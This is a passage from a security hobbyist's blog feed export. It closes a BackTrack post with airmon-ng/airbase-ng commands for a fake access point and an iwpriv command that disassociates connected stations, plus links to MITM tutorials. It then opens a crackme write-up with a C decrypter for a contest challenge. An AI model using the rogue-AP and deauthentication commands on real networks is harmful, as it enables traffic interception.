id="line-220"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-221"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-222"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-223"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;//we create a monitor mode interface (mon0 will be created)&lt;br /&gt;airmon-ng start wlan0&lt;br /&gt;//start our fake ap listening on channel 5, beaconing each 100 milliseconds, publising a "test" essid&lt;br /&gt;airbase-ng -I 100 -c 5 --essid test mon0&lt;br /&gt;//at0 inteface will be created like in previous post we can setup a dhcp server so that it listens on at0 interface.&lt;/pre&gt;&lt;span class="anchor" id="line-224"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-225"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-226"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h4 id="Otherstuff"&gt;Other stuff&lt;/h4&gt;&lt;span class="anchor" id="line-227"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-228"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-229"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-230"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-231"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-232"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-233"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-234"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-235"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-236"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-237"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-238"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-239"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-240"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-241"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-242"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-243"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-244"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-245"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-246"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-247"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-248"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-249"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-250"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-251"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-252"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-253"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-254"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-255"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-256"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-257"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-258"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;To remove an interface (when wlanconfig stop does not work due to ath5k use) we can achieve like this:&lt;br /&gt;&lt;br /&gt;iw dev mon0 interface del&lt;br /&gt;&lt;br /&gt;To lock the card to a specific mode, use:&lt;br /&gt;&lt;br /&gt;    * iwpriv ath0 mode 11a To lock to 11a only.&lt;br /&gt;    * iwpriv ath0 mode 11b To lock to 11b only.&lt;br /&gt;    * iwpriv ath0 mode 11g To lock to 11g only.&lt;br /&gt;    * iwpriv ath0 mode 0 (default) autoselect mode. &lt;br /&gt;&lt;br /&gt;Changing Authentication Mode.&lt;br /&gt;&lt;br /&gt;Use:&lt;br /&gt;&lt;br /&gt;    * iwpriv ath0 authmode 1 To use open authentication.&lt;br /&gt;    * iwpriv ath0 authmode 2 To use shared key authentication.&lt;br /&gt;    * iwpriv ath0 authmode 3 To use 802.1x authentication. &lt;br /&gt;&lt;br /&gt;Manipulating the MAC white/black list&lt;br /&gt;&lt;br /&gt;Use:&lt;br /&gt;&lt;br /&gt;    * iwpriv ath0 maccmd 3 To clear the MAC list.&lt;br /&gt;    * iwpriv ath0 maccmd 1 To make the list a whitelist.&lt;br /&gt;    * iwpriv ath0 maccmd 2 To make the list a blacklist.&lt;br /&gt;    * iwpriv ath0 addmac 00:11:22:33:44:55 To add a mac address to the list.&lt;br /&gt;    * iwpriv ath0 delmac 00:11:22:33:44:55 To delete a mac from the list.&lt;br /&gt;    * iwpriv ath0 kickmac 00:11:22:33:44:55 To send a disassociation frame to an associated station. &lt;/pre&gt;&lt;span class="anchor" id="line-259"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-260"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Links"&gt;Links&lt;/h2&gt;&lt;span class="anchor" id="line-261"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line862"&gt;BT3 installation to hard disk &lt;a class="http" href="http://kin.calvin.free.fr/blog/?p=16"&gt;http://kin.calvin.free.fr/blog/?p=16&lt;/a&gt; &lt;span class="anchor" id="line-262"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Installing nessus &lt;a class="http" href="http://www.voipsec.eu/?p=205"&gt;http://www.voipsec.eu/?p=205&lt;/a&gt; &lt;span class="anchor" id="line-263"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Interesting post (spanish): &lt;a class="http" href="http://kungfoosion.blogspot.com/2009/11/karmetasploit-en-backtrack-4.html"&gt;http://kungfoosion.blogspot.com/2009/11/karmetasploit-en-backtrack-4.html&lt;/a&gt; &lt;span class="anchor" id="line-264"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Another interesting post (spanish) includes launching some nice tools: &lt;a class="http" href="http://opensec.es/2009/10/05/creando-un-punto-de-acceso-falso-ii/"&gt;http://opensec.es/2009/10/05/creando-un-punto-de-acceso-falso-ii/&lt;/a&gt; &lt;span class="anchor" id="line-265"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;A bit of information about the 3 types of madwifi drivers &lt;a class="http" href="http://www.guatewireless.org/internetworking/redes/wireless/madwifi-instalando-atheros-wireless-card-sobre-linux/"&gt;http://www.guatewireless.org/internetworking/redes/wireless/madwifi-instalando-atheros-wireless-card-sobre-linux/&lt;/a&gt; &lt;span class="anchor" id="line-266"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Ettercap addition &lt;a class="http" href="http://www.backtrack-linux.org/forums/backtrack-howtos/1939-lucafas-tutorial-softap-internet-connection-mitm-sniffing.html"&gt;http://www.backtrack-linux.org/forums/backtrack-howtos/1939-lucafas-tutorial-softap-internet-connection-mitm-sniffing.html&lt;/a&gt; &lt;span class="anchor" id="line-267"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Funniest ever: &lt;a class="http" href="http://www.ex-parrot.com/%7Epete/upside-down-ternet.html"&gt;http://www.ex-parrot.com/~pete/upside-down-ternet.html&lt;/a&gt; &lt;span class="anchor" id="line-268"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-8122771900756520254?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/8122771900756520254/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/backtrack-34-on-acer-aspire-one.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/8122771900756520254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/8122771900756520254'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/backtrack-34-on-acer-aspire-one.html' title='Backtrack 3/4 on Acer Aspire One'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-1211419153807707444</id><published>2010-11-27T21:25:00.002-05:00</published><updated>2011-01-23T01:30:43.446-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crackme'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><title type='text'>I solved a crackme!</title><content type='html'>&lt;h1 id="Isolvedacrackme.21"&gt;&lt;/h1&gt;&lt;span class="anchor" id="line-2"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Some days ago  after many more days of research and reversing I managed to solve a  crackme that a friend of mine (CT) passed to me. This crackme was  supposed to be used in a security conference held in Spain called &lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/NoConName"&gt;NoConName&lt;/a&gt; and was conceived to be presented as the II level of a crackme contest. &lt;span class="anchor" id="line-3"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="table-of-contents"&gt;&lt;div class="table-of-contents-heading"&gt;Contents&lt;/div&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/CrackMeSolvedPost#Isolvedacrackme.21"&gt;I solved a crackme!&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/CrackMeSolvedPost#Wheretofindthecrackme.3F"&gt;Where to find the crackme?&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/CrackMeSolvedPost#Sometips"&gt;Some tips&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/CrackMeSolvedPost#Mydirtysolution"&gt;My dirty solution&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/CrackMeSolvedPost#Myevenmoredirtydebugginfiles"&gt;My even more dirty debuggin files&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/CrackMeSolvedPost#InterestingLinks"&gt;Interesting Links&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;span class="anchor" id="line-4"&gt;&lt;/span&gt; &lt;br /&gt;&lt;h2 id="Wheretofindthecrackme.3F"&gt;Where to find the crackme?&lt;/h2&gt;&lt;span class="anchor" id="line-5"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;During the  days I was trying to solve the crackme I found a really interesting web  portal devoted to crackers (in the good/bad sense &lt;img alt=";-)" height="15" src="http://wiki.eslimasec.com/wiki/modern/img/smile4.png" title=";-)" width="15" /&gt; ) that is basically a repository of crackmes, solutions, forums ... everything I would ask for a place like this to be. &lt;span class="anchor" id="line-6"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-7"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line862"&gt;Thus I have uploaded the crackme there under the name ncn: &lt;a class="http" href="http://www.crackmes.de/users/eslimasec/ncn/"&gt;http://www.crackmes.de/users/eslimasec/ncn/&lt;/a&gt; enjoy it as I did! &lt;span class="anchor" id="line-8"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-9"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Sometips"&gt;Some tips&lt;/h2&gt;&lt;span class="anchor" id="line-10"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;If you are a beginner as I was/am in the reversing field your best friends for this crackme can be: &lt;span class="anchor" id="line-11"&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;GDB &lt;span class="anchor" id="line-12"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Objdump &lt;span class="anchor" id="line-13"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;But I heard that some people haven't even needed to disasemble, in this post I cover a reversing view of solving the crackme. &lt;span class="anchor" id="line-14"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;I  have worked quite a lot with the output taken from Objdump, but then I  saw It would be easier to use the GDB output (set logging file FILE)  because of the relative memory addresses that it uses (main+243) that  match more precisely with the output you get when debugging with GDB. &lt;span class="anchor" id="line-15"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Use breakpoints to see how the program executes &lt;span class="anchor" id="line-16"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Use watchpoints to check the values that the variables hold over the time &lt;span class="anchor" id="line-17"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;As for every crack there is something that allows you to find the solution and this is ranked as an easy crack &lt;span class="anchor" id="line-18"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Maybe in certain moments you don't know that the code does but you can anticipate the ranges in the result you will get &lt;span class="anchor" id="line-19"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Mydirtysolution"&gt;My dirty solution&lt;/h2&gt;&lt;span class="anchor" id="line-20"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;If you are  really really fed up and want to see my solution (haven't uploaded to  crackmes.de yet as I want people to be interested in solving it as,  well) here you have my friend! Sorry that it's an  [javascript:void(0);/*1247300948733*/ spanglish] code &lt;span class="anchor" id="line-21"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-22"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-23"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-24"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-25"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-26"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-27"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-28"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-29"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-30"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-31"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-32"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-33"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-34"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-35"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-36"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-37"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-38"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-39"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-40"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-41"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-42"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-43"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-44"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-45"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-46"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-47"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-48"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-49"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-50"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-51"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-52"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-53"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-54"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-55"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-56"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-57"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-58"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-59"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-60"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-61"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-62"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-63"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-64"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-65"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-66"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-67"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-68"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-69"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-70"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-71"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-72"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-73"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-74"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-75"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-76"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-77"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-78"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-79"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-80"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-81"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-82"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-83"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-84"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-85"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-86"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-87"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-88"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-89"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-90"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-91"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-92"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-93"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-94"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-95"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-96"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-97"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-98"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-99"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-100"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-101"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-102"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-103"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-104"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-105"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-106"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-107"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-108"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-109"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-110"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-111"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-112"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-113"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-114"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-115"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-116"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-117"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-118"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-119"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-120"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-121"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-122"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-123"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-124"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-125"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-126"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-127"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-128"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-129"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-130"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-131"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-132"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-133"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-134"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-135"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-136"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-137"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-138"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-139"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-140"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-141"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-142"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-143"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-144"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-145"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-146"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-147"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-148"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-149"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include&amp;lt;string.h&amp;gt;&lt;br /&gt;#define MAX_STR 1000&lt;br /&gt;//many variables, some of them are written in spanish&lt;br /&gt;int len,newpos,salto,i,j,increase=5,ciphered_index,seed_value,procesed=0;&lt;br /&gt;//cifred = encrypted ;) it will hold the ciphered string&lt;br /&gt;int cifred[MAX_STR];&lt;br /&gt;//reversed= decyphered string&lt;br /&gt;char reversed[MAX_STR], str[MAX_STR];&lt;br /&gt;//array taken from original crackme executable that is used to do the translations between numbers and letters&lt;br /&gt;char alphabet[]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};&lt;br /&gt;//function reversed/regenerated from crackme binary that is used to tell which position of the array we are decrypting.&lt;br /&gt;//i think CT (the author) just used it so that ncn binary encrypted strings in a non sequential way&lt;br /&gt;int vacia(int len,int pivote){&lt;br /&gt;        //printf("(%d,%d)",len,pivote);&lt;br /&gt;        if(len &amp;gt;= pivote){&lt;br /&gt;                if( cifred[pivote] == 0 ){&lt;br /&gt;                        newpos=pivote;&lt;br /&gt;                }&lt;br /&gt;                else{&lt;br /&gt;                        newpos=vacia(len, pivote+1);&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;        else{&lt;br /&gt;                pivote = pivote - len;&lt;br /&gt;                pivote = pivote - 1;&lt;br /&gt;                if (cifred[pivote]==0){&lt;br /&gt;                        newpos=pivote;&lt;br /&gt;                }&lt;br /&gt;                else{&lt;br /&gt;                        newpos=vacia(len, pivote+1);&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;        return newpos;&lt;br /&gt;}&lt;br /&gt;//a study of the binary will reveal that the "encrypting engine" puts the seed used in the second position of the ciphered array&lt;br /&gt;//this is cifred[1], thus this function gets that char placed in that position and returns its seed value translated using the&lt;br /&gt;//alphabet array&lt;br /&gt;int get_seed(char single_char){&lt;br /&gt;        int result=61;&lt;br /&gt;        for(i=0;i&amp;lt;62;i++){&lt;br /&gt;                if(single_char==alphabet[i]){&lt;br /&gt;                        result=i;&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;        return result;&lt;br /&gt;}&lt;br /&gt;//main funcion of the ncn decrypter&lt;br /&gt;int main(int argc,char *argv[]) {&lt;br /&gt;        if (argc != 2){&lt;br /&gt;                printf("Error, provide ciphered text as the unique argument\n");&lt;br /&gt;                exit(1);&lt;br /&gt;        }&lt;br /&gt;        len =  strlen(argv[1]);&lt;br /&gt;        if ( len &amp;gt; MAX_STR) {&lt;br /&gt;                printf("Error, ciphered text too long, it must be &amp;lt; %d \n",MAX_STR);&lt;br /&gt;                exit(1);&lt;br /&gt;        }&lt;br /&gt;//trying avoiding buffer overflows&lt;br /&gt;        strncpy(str,argv[1],len);&lt;br /&gt;//this variable holds always the same value&lt;br /&gt;        salto = 3;&lt;br /&gt;//newpos is the position of the array we are working on, it will be changed according to "vacia" function output&lt;br /&gt;        newpos = 1;&lt;br /&gt;//we get the original seed used from the encrypted text passed&lt;br /&gt;        seed_value = get_seed(str[1]);&lt;br /&gt;//oops debug code, you can remove when compiling&lt;br /&gt;        printf("seed=%d",seed_value);&lt;br /&gt;//cifred array is just an array to simulate the original ncn code, it holds which positions of the encrypted text&lt;br /&gt;//have been processed, cifred[i]=0 means not processed, cifred[i]=1 means processed&lt;br /&gt;        for(i=0;i&amp;lt;len;i++) {&lt;br /&gt;                cifred[i]=0;&lt;br /&gt;        }&lt;br /&gt;//as I mentioned position 1 of the encrypted text always holds the seed so we marked it as already processed&lt;br /&gt;        cifred[1]=1;&lt;br /&gt;//the main processing loop&lt;br /&gt;        for(i=0;i&amp;lt;len-1;i++){&lt;br /&gt;//check which position of the encrypted string we are processing&lt;br /&gt;                newpos = vacia(len-1,salto+newpos);&lt;br /&gt;//update that possition as processed&lt;br /&gt;                cifred[newpos]=1;&lt;br /&gt;//the greatest nonsense I managed to achieve (at least it worked and can be useful for other similar situations):&lt;br /&gt;//when I was analyzing assembly code I could not find what the heck where some really weird instructions at the beginning&lt;br /&gt;//and at the end of the code, what did a do? take them as a black box and pass this code the possible used and&lt;br /&gt;//then match the ouput with the encrypted position we are dealing with each time&lt;br /&gt;                for (j=0;j&amp;lt;62;j++){&lt;br /&gt;//yeah its inline assembler, very useful though, %N, where n is a number is the Nth variable you have passed (seed_value in this case)&lt;br /&gt;                        asm ( "mov    %3,%%eax;"&lt;br /&gt;                        "add    %1,%%eax;"&lt;br /&gt;                        "mov    %%eax,%%ecx;"&lt;br /&gt;                        "add    %2,%%ecx;"&lt;br /&gt;                        "mov    $0x84210843,%%eax;"&lt;br /&gt;                        "imul   %%ecx;"&lt;br /&gt;                        "lea    (%%edx,%%ecx,1),%%eax;"&lt;br /&gt;                        "mov    %%eax,%%edx;"&lt;br /&gt;                        "sar    $0x5,%%edx;"&lt;br /&gt;                        "mov    %%ecx,%%eax;"&lt;br /&gt;                        "sar    $0x1f,%%eax;"&lt;br /&gt;                        "sub    %%eax,%%edx;"&lt;br /&gt;                        "mov    %%edx,%%eax;"&lt;br /&gt;                        "shl    $0x5,%%eax;"&lt;br /&gt;                        "sub    %%edx,%%eax;"&lt;br /&gt;                        "add    %%eax,%%eax;"&lt;br /&gt;                        "sub    %%eax,%%ecx;"&lt;br /&gt;                        "mov    %%ecx,%0;"&lt;br /&gt;                        : "=m" (ciphered_index)&lt;br /&gt;                        : "m" (j), "m" (increase), "m" (seed_value)&lt;br /&gt;                        );&lt;br /&gt;//you might be wondering what this "blackbox" of code does?? ok don't laugh, it generates the integer remainder of a division!!&lt;br /&gt;//and it's damn clear that somewhere the binary needed this instructiong as the seed taken from "rand" function is too long&lt;br /&gt;//and the seed must be a number between 0 and 61! therefore in c code all this lines in assembly mean "seed=rand()%62"&lt;br /&gt;                        if ( alphabet[ciphered_index] == str[newpos] ){&lt;br /&gt;                                reversed[procesed]=alphabet[j];&lt;br /&gt;                        }&lt;br /&gt;                                //fprintf("j=%d,crypt=%d,newpos=%c,str[newpos]=%calphabet=\n",j,ciphered_index,newpos,(char *) str[newpos],(char *)alphabet[ciphered_index]);&lt;br /&gt;                }&lt;br /&gt;// some computations to mimic the reversed binary behaviour&lt;br /&gt;                increase=increase+5;&lt;br /&gt;                procesed++;&lt;br /&gt;        }&lt;br /&gt;        reversed[procesed]=0;&lt;br /&gt;//here it is!&lt;br /&gt;        printf("String reversed is %s\n",reversed);&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;span class="anchor" id="line-150"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Solution code attachment:un_ncner.c &lt;span class="anchor" id="line-151"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-152"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Myevenmoredirtydebugginfiles"&gt;My even more dirty debugging files&lt;/h2&gt;&lt;span class="anchor" id="line-153"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-154"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Objdump file &lt;span class="anchor" id="line-155"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-156"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-157"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-158"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-159"&gt;&lt;/span&gt;&lt;span class="anchor" 